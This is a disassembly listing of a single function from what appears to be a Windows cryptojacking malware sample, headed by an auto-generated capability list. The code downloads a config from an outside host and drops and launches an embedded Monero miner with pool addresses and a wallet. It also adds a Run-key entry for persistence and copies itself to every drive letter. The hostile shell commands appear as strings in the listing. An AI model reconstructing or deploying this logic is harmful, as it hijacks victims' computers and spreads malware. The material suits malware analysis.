Function at 0x401e40
Capabilities:
Contain obfuscated stackstrings
Create http request
Create process on windows
Download and write a file
Extract resource via kernel32 functions
Persist via run registry key
Query environment variable
Read data from internet
Receive and write data from server to client
Receive data
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov eax, 0x120bc
mov ebp, esp
push edi
push esi
push ebx
call fcn.0040dae0
mov esi, str.stafftest.ru
sub esp, eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x1206c], eax
lea eax, [ebp - 0x1208c]
mov dword [ebp - 0x12074], 0x402ae0
lea edi, [ebp - 0x11fcc]
mov dword [ebp - 0x12070], 0x4146ec
mov dword [ebp - 0x12068], 0x4025fe
mov dword [ebp - 0x12064], esp
mov dword [esp], eax
call fcn.0040d0a0
lea eax, [ebp - 0xfa14]
mov dword [ebp - 0xfa18], 0
mov dword [esp + 8], 0xf9fc
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov ecx, 0x2d
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x12098], 0
mov dword [esp], 0x7d0
mov dword [ebp - 0x12088], 1
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
call sub.WININET.DLL_InternetOpenA
sub esp, 0x14
test eax, eax
mov dword [ebp - 0x1209c], eax
je 0x402059
mov eax, dword [ebp - 0x12098]
mov edx, 0x38e38e39
mov dword [esp + 0xc], eax
mov dword [ebp - 0x12098], eax
mov edi, dword [ebp - 0x12098]
imul edx
mov dword [esp + 4], str.http:___s_test.html__d
mov eax, edi
sar eax, 0x1f
sar edx, 1
sub edx, eax
lea eax, [edx + edx*8]
sub edi, eax
lea eax, [edi + edi*4]
lea eax, [ebp + eax*4 - 0x11fcc]
mov dword [esp + 8], eax
lea eax, [ebp - 0x12051]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x12051]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1209c]
mov dword [esp], eax
mov dword [ebp - 0x12088], 1
call sub.WININET.DLL_InternetOpenUrlA
sub esp, 0x18
test eax, eax
je 0x40203e
lea ebx, [ebp - 0xfa18]
lea esi, [ebp - 0x10218]
mov dword [ebp - 0x10218], 0
mov dword [esp + 0xc], esi
mov dword [esp + 8], 0xfa00
mov dword [ebp - 0x120a0], ebx
mov dword [esp + 4], ebx
mov dword [ebp - 0x120a4], eax
mov dword [esp], eax
call sub.WININET.DLL_InternetReadFile
mov eax, dword [ebp - 0x120a4]
sub esp, 0x10
mov dword [esp], eax
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
cmp dword [ebp - 0x10218], 0x800
jbe 0x40203e
mov dword [esp + 4], str.Srw09.
mov eax, dword [ebp - 0x120a0]
mov dword [esp], eax
call sub.msvcrt.dll_strstr
mov dword [esp], eax
call sub.msvcrt.dll_strlen
cmp eax, 0x400
ja 0x40207c
mov eax, dword [ebp - 0x1209c]
mov dword [esp], eax
mov dword [ebp - 0x12088], 1
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
add dword [ebp - 0x12098], 1
cmp dword [ebp - 0x12098], 0x384
jne 0x401ed1
lea eax, [ebp - 0xfa18]
mov dword [ebp - 0x120a0], eax
mov ecx, dword [ebp - 0x120a0]
lea ebx, [ebp - 0xea18]
mov esi, 0x2f
mov dword [ebp - 0x1203d], 0x3a2e2c5b
mov dword [ebp - 0x12039], 0x3d25263f
mov dword [ebp - 0x12035], 0x32312140
mov dword [ebp - 0x12031], 0x36353433
mov dword [ebp - 0x1202d], 0x30393837
mov dword [ebp - 0x12029], 0x6577712f
mov dword [ebp - 0x12025], 0x75797472
mov dword [ebp - 0x12021], 0x61706f69
mov dword [ebp - 0x1201d], 0x67666473
mov dword [ebp - 0x12019], 0x6c6b6a68
mov dword [ebp - 0x12015], 0x7663787a
mov dword [ebp - 0x12011], 0x206d6e62
mov byte [ebp - 0x1200d], 0
lea esi, [esi]
movzx edx, byte [ecx]
xor eax, eax
jmp 0x40211f
add eax, 1
cmp eax, 0x31
je 0x402136
cmp byte [ebp + eax - 0x1203d], dl
jne 0x402117
mov edi, esi
sub edi, eax
movzx eax, byte [ebp + edi - 0x1203d]
mov byte [ecx], al
add ecx, 1
cmp ecx, ebx
jne 0x402110
mov dword [ebp - 0x12088], 1
call sub.KERNEL32.dll_GetTickCount
mov edx, 0x66666667
mov ecx, eax
imul edx
mov eax, ecx
sar eax, 0x1f
mov dword [esp + 8], str.pool
mov dword [esp + 4], str._s_d
sar edx, 3
sub edx, eax
lea eax, [edx + edx*4]
shl eax, 2
sub ecx, eax
lea eax, [ebp - 0x1200c]
mov dword [esp + 0xc], ecx
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov dword [esp + 4], str.Section
mov eax, dword [ebp - 0x120a0]
mov dword [esp], eax
call sub.msvcrt.dll_strstr
test eax, eax
je 0x4025d1
lea esi, [ebp - 0x1200c]
mov dword [esp + 4], esi
mov eax, dword [ebp - 0x120a0]
mov dword [esp], eax
call sub.msvcrt.dll_strstr
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x120a0]
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
mov dword [esp + 4], 0x416171
mov eax, dword [ebp - 0x120a0]
mov dword [esp], eax
call sub.msvcrt.dll_strstr
mov dword [ebp - 0x12098], eax
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [ebp - 0x1209c], eax
mov dword [esp + 4], str._p_x
mov eax, dword [ebp - 0x120a0]
mov dword [esp], eax
call sub.msvcrt.dll_strstr
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, dword [ebp - 0x1209c]
add edx, 4
sub edx, eax
mov dword [esp + 8], edx
mov esi, dword [ebp - 0x12098]
lea eax, [ebp - 0x11f18]
mov dword [esp + 4], esi
mov dword [ebp - 0x12098], eax
mov dword [esp], eax
call sub.msvcrt.dll_strncpy
mov eax, dword [ebp - 0x12098]
mov dword [esp + 4], str._c_start__b___TEMP__NsCpuCNMiner32.exe__dbg__1__s
mov dword [esp + 8], eax
lea eax, [ebp - 0x11e18]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x11a18]
mov dword [esp + 8], 0x400
mov dword [esp + 4], eax
mov dword [esp], str._TEMP_
mov dword [ebp - 0x12088], 1
call sub.KERNEL32.dll_ExpandEnvironmentStringsA
sub esp, 0xc
mov dword [esp + 8], 0xa
mov dword [esp + 4], str.RCDATA1
mov dword [esp], 0
call sub.KERNEL32.dll_FindResourceA
sub esp, 0xc
mov dword [ebp - 0x12098], eax
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.KERNEL32.dll_LoadResource
sub esp, 8
mov dword [esp], eax
call sub.KERNEL32.dll_LockResource
mov dword [ebp - 0x1209c], eax
mov eax, dword [ebp - 0x12098]
sub esp, 4
mov dword [esp], 0
mov dword [esp + 4], eax
call sub.KERNEL32.dll_SizeofResource
sub esp, 8
mov dword [ebp - 0x120a0], eax
lea eax, [ebp - 0x11a18]
mov dword [esp + 8], eax
lea eax, [ebp - 0x11618]
mov dword [esp + 4], str._sNsCpuCNMiner32.exe
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x11618]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
mov dword [esp], eax
call sub.KERNEL32.dll_CreateFileA
sub esp, 0x1c
test eax, eax
mov dword [ebp - 0x12098], eax
je 0x402448
lea eax, [ebp - 0x12058]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x120a0]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x1209c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x12098]
mov dword [esp], eax
mov dword [ebp - 0x12088], 1
call sub.KERNEL32.dll_WriteFile
mov eax, dword [ebp - 0x12098]
sub esp, 0x14
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
mov ebx, dword [ebp - 0x12058]
sub esp, 4
test ebx, ebx
je 0x402407
lea eax, [ebp - 0x11e18]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x41632d
mov dword [esp + 4], str.open
mov dword [esp], 0
mov dword [ebp - 0x12088], 1
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str._c__echo_stratumtcp:__mine.moneropool.com:3333_echo_stratumtcp:__monero.crypto_pool.fr:3333_echo_stratumtcp:__xmr.prohash.net:7777_echo_stratumtcp:__pool.minexmr.com:5555____TEMP_pools.txt
mov dword [esp + 8], 0x41632d
mov dword [esp + 4], str.open
mov dword [esp], 0
mov dword [ebp - 0x12088], 1
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
lea eax, [ebp - 0x11218]
mov dword [esp + 8], 0x800
mov dword [esp + 4], eax
mov dword [esp], 0
mov dword [ebp - 0x12088], 1
call sub.KERNEL32.dll_GetModuleFileNameA
sub esp, 0xc
lea eax, [ebp - 0x11218]
mov dword [esp + 8], eax
lea eax, [ebp - 0x10218]
mov dword [esp + 4], str._c_reg_add__HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun___v__Run___d___s___t_REG_SZ__f
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x10218]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x41632d
mov dword [esp + 4], str.open
mov dword [esp], 0
mov dword [ebp - 0x12088], 1
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
mov dword [ebp - 0x12090], 0
mov dword [esp], 0x2710
mov dword [ebp - 0x12088], 1
call sub.KERNEL32.dll_Sleep
sub esp, 4
lea eax, [ebp - 0x11218]
mov dword [esp + 8], eax
lea eax, [ebp - 0x10a18]
mov dword [esp + 4], str._c_for___i_in__A_B_C_D_E_F_G_H_J_K_L_M_N_O_P_R_S_T_Q_U_Y_I_X_V_X_W_Z__do_xcopy__y___s____i:_
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x10a18]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x41632d
mov dword [esp + 4], str.open
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
mov dword [ebp - 0x12094], 0x190
lea esi, [esi]
mov dword [esp], 1
mov dword [ebp - 0x12088], 2
call sub.KERNEL32.dll_Sleep
mov eax, dword [ebp - 0x12090]
sub esp, 4
mov dword [esp + 4], 0
mov dword [esp], 0x401b60
mov dword [esp + 8], eax
call sub.msvcrt.dll__beginthread
sub dword [ebp - 0x12094], 1
jne 0x402560
add dword [ebp - 0x12090], 1
cmp dword [ebp - 0x12090], 0x5b8d800
jne 0x4024e0
lea eax, [ebp - 0x1208c]
mov dword [esp], eax
call fcn.0040d220
lea esp, [ebp - 0xc]
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret 0x10
lea edi, [ebp - 0x11f18]
mov esi, str._o_stratumtcp:__mine.moneropool.com:3336__t_1__u_42n7TTpcpLe8yPPLxgh27xXSBWJnVu9bW8t7GuZXGWt74vryjew2D5EjSSvHBmxNhx8RezfYjv3J7W63bWS8fEgg6tct3yZ__p_x
mov dword [ebp - 0x12098], edi
mov ecx, 0x25
rep movsd dword es:[edi], dword [esi]
movzx edx, word [esi]
mov word [edi], dx
movzx edx, byte [0x416212]
mov byte [edi + 2], dl
jmp 0x402246